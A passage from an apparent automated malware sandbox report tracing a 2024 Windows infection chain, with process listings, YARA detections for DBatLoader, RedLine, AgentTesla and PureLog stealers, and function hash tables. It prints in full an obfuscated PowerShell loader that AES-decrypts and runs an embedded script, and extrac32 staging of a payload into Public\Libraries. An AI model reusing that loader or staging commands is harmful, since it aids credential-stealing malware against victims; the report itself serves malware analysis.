Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	06:45:19
Start date:	24/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW \| powershell -
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:45:19
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:45:20
Start date:	24/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:45:30
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\uc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\uc.exe"
Imagebase:	0x400000
File size:	1'646'592 bytes
MD5 hash:	E6AC6CA27AA2D60DC59A21AF1FFDB086
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000013.00000002.1499010628.0000000002385000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000003.1494437975.000000007EB10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000013.00000003.1438376010.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.1519434101.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:24:30
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:24:30
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:24:30
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\uc.exe C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF
Imagebase:	0x860000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:24:31
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\bwsiuvcU.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\bwsiuvcU.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.1639938993.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.1680345757.000000003DA95000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.1682459055.00000000409C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000017.00000002.1680679015.000000003DE32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.1639938993.0000000000450000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000017.00000002.1680679015.000000003DE5C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000001.1494452738.0000000000450000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000003.1516343993.000000003BDC9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.1681909755.0000000040260000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000001.1494452738.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.1681582310.000000003EDE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:24:43
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\Ucvuiswb.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Ucvuiswb.PIF"
Imagebase:	0x400000
File size:	1'646'592 bytes
MD5 hash:	E6AC6CA27AA2D60DC59A21AF1FFDB086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000018.00000002.1636496572.00000000028A1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:24:44
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\bwsiuvcU.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\bwsiuvcU.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.1788431061.0000000025FC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.1787983024.0000000025D95000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.1791650361.00000000284A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.1732584170.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.1788431061.0000000025FEB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000001.1624046151.0000000000450000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000001.1624046151.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000003.1634916828.0000000023FF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.1792368001.0000000028C40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.1732584170.0000000000450000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000019.00000002.1790805820.0000000026F71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:24:52
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\Ucvuiswb.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Ucvuiswb.PIF"
Imagebase:	0x400000
File size:	1'646'592 bytes
MD5 hash:	E6AC6CA27AA2D60DC59A21AF1FFDB086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000001A.00000002.1728089924.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:24:52
Start date:	24/04/2024
Path:	C:\Users\Public\Libraries\bwsiuvcU.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\bwsiuvcU.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001B.00000002.2554879629.000000003DD81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001B.00000002.2555827704.0000000040350000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001B.00000002.2556241672.00000000409B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001B.00000003.1719620200.000000003BD8F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000001.1707928386.0000000000450000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.2524457336.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.2524457336.0000000000450000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001B.00000002.2554498447.000000003DA65000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001B.00000002.2554879629.000000003DDAB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000001.1707928386.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001B.00000002.2555544877.000000003ED31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 000001A2C9890FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1852666137.000001A2C9890000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001A2C9890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1a2c9890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 6dc7fd48f8446e16a7e5d89954fb4c117199bebb7c4251f65feee9c5b4017f3c
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: AE90021669640A99D41415950C4929C5040638A260FD545808416D1588D55E03969153

Uniqueness

Uniqueness Score: -1.00%

Function 000001A2C9890FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1852666137.000001A2C9890000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001A2C9890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1a2c9890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 6dc7fd48f8446e16a7e5d89954fb4c117199bebb7c4251f65feee9c5b4017f3c
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: AE90021669640A99D41415950C4929C5040638A260FD545808416D1588D55E03969153

Uniqueness

Uniqueness Score: -1.00%

Function 000001A2C9890FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1852666137.000001A2C9890000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001A2C9890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1a2c9890000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 6dc7fd48f8446e16a7e5d89954fb4c117199bebb7c4251f65feee9c5b4017f3c
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash: AE90021669640A99D41415950C4929C5040638A260FD545808416D1588D55E03969153

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7688, Parent PID: 7260COMMON

Executed Functions

Function 00007FFAAB973AC5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1842530535.00007FFAAB970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaab970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: d7434119911d04e4a5d63ac17dbcb90a0276d598b915e76db3fee3f6dc63f9da
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 1801677111CB0C8FD748EF0CE451AA5B7E0FB95364F50056DE58AC3665D736E882CB45

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFAAB970E65 Relevance: .4, Instructions: 402COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1842530535.00007FFAAB970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffaab970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e702702e75f2618a7229afc80279f3a01cb86a5e902ecab81c9189c016ce96
Instruction ID: 3ef24b2f02e88eea17b49cec496d10bfb5264e98f42d42dd33281edb7588c803
Opcode Fuzzy Hash: d8e702702e75f2618a7229afc80279f3a01cb86a5e902ecab81c9189c016ce96
Instruction Fuzzy Hash: 8DC1F69790FAD7DBE31357685C6A4E97F90EF5329470981F7D4C84F0A3EE18288A82D1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7800, Parent PID: 7688COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAABA2362E Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acd416ace24d9dfbcbb39d8b55867f254fa05b93f3d578d471675dd7cb902d4d
Instruction ID: 75b816a46a49c29a0014a4b0acb36581efd717699a4a25161ee887d250f359ce
Opcode Fuzzy Hash: acd416ace24d9dfbcbb39d8b55867f254fa05b93f3d578d471675dd7cb902d4d
Instruction Fuzzy Hash: D4121672A1EBCA4FE7A6976848656757FE1EF47250B1840FFD08DC70B3E9289809C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA226C1 Relevance: 5.2, Strings: 4, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8hz, xrefs: 00007FFAABA2273B
8hz, xrefs: 00007FFAABA22756
8hz, xrefs: 00007FFAABA22768
8hz, xrefs: 00007FFAABA227B4

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID: 8hz$8hz$8hz$8hz
API String ID: 0-2997940489
Opcode ID: 59c1dc39494a68be092f2d3aa02ce2ce28b5de97b9c9a3a2645848f6dc3bb547
Instruction ID: a63b4e371f7ef3bf1efb0c7b54425acb06ed7c9c81c09e1aa7f0f2c8df443fc7
Opcode Fuzzy Hash: 59c1dc39494a68be092f2d3aa02ce2ce28b5de97b9c9a3a2645848f6dc3bb547
Instruction Fuzzy Hash: D451F562A1FBC64FE3A6876858651647FE1DF57290B1981FBD08EC71B3E8099C09C3D1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAB95C6F9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p[z, xrefs: 00007FFAAB95C7B4

Memory Dump Source

Source File: 00000011.00000002.1648332400.00007FFAAB950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaab950000_powershell.jbxd

Similarity

API ID:
String ID: p[z
API String ID: 0-2258540297
Opcode ID: dbfc7a78e8e6728957da550923d0b1b8d1493cc15acc39d406e7d652d2515623
Instruction ID: 703057e5b7440af174495da7e8f1fe61370270671b2f7007128371025ffed046
Opcode Fuzzy Hash: dbfc7a78e8e6728957da550923d0b1b8d1493cc15acc39d406e7d652d2515623
Instruction Fuzzy Hash: CE61F67190DA488FD758DB6C985A6B97BE0FF59350F04427FE04DD32A2DF24A80687C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA2B044 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r6x, xrefs: 00007FFAABA2B085
r6x, xrefs: 00007FFAABA2B11C

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID: r6x$r6x
API String ID: 0-3369949480
Opcode ID: e15398dfe8d22649859a6c19dae53448eb1a412cda9f960a9cee37d72eccc3ee
Instruction ID: 7321d066292f4de843fea0b78f8df645752b9974fa40f6637d5ac45c9663b82a
Opcode Fuzzy Hash: e15398dfe8d22649859a6c19dae53448eb1a412cda9f960a9cee37d72eccc3ee
Instruction Fuzzy Hash: 2E412732A1DA49CFE799DB1CC494AB877D1EF59340B5442BED04DC71B2DE26AC058780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAB95C809 Relevance: 1.6, APIs: 1, Instructions: 131
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FFAAB95C8CE

Memory Dump Source

Source File: 00000011.00000002.1648332400.00007FFAAB950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaab950000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9dbff6ecca2aa315b112fdbdfcd89f8d2e112a63b22cf3470d32861c6226d9d0
Instruction ID: 5bce7bb13e29c6a0c8ec13b428b7cda9a5f705ed3fb234a722f19317080af25b
Opcode Fuzzy Hash: 9dbff6ecca2aa315b112fdbdfcd89f8d2e112a63b22cf3470d32861c6226d9d0
Instruction Fuzzy Hash: 0F319F7191CA5C9FDB58EF5CD845AE9BBE0FB69321F04422EE04EE3251CB71A8058BC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAABA2055D Relevance: .7, Instructions: 671COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1654430431.00007FFAABA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAABA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaaba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
